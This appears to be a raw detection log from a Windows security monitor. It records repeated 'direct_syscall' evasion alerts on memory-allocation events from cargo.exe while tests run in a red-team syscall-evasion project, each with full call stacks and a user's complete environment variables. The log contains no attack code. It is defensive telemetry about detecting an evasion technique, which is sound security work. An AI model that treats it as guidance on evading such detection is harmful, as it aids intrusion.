C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff681ca2d47 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff680805856 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff680803b75 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807e920c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 904969 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1454805 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92eef000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff681ca2d47 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff680805856 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff680803b75 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807e920c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 904971 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1454927 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92eee000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff681ca2d47 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff680805856 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff680803b75 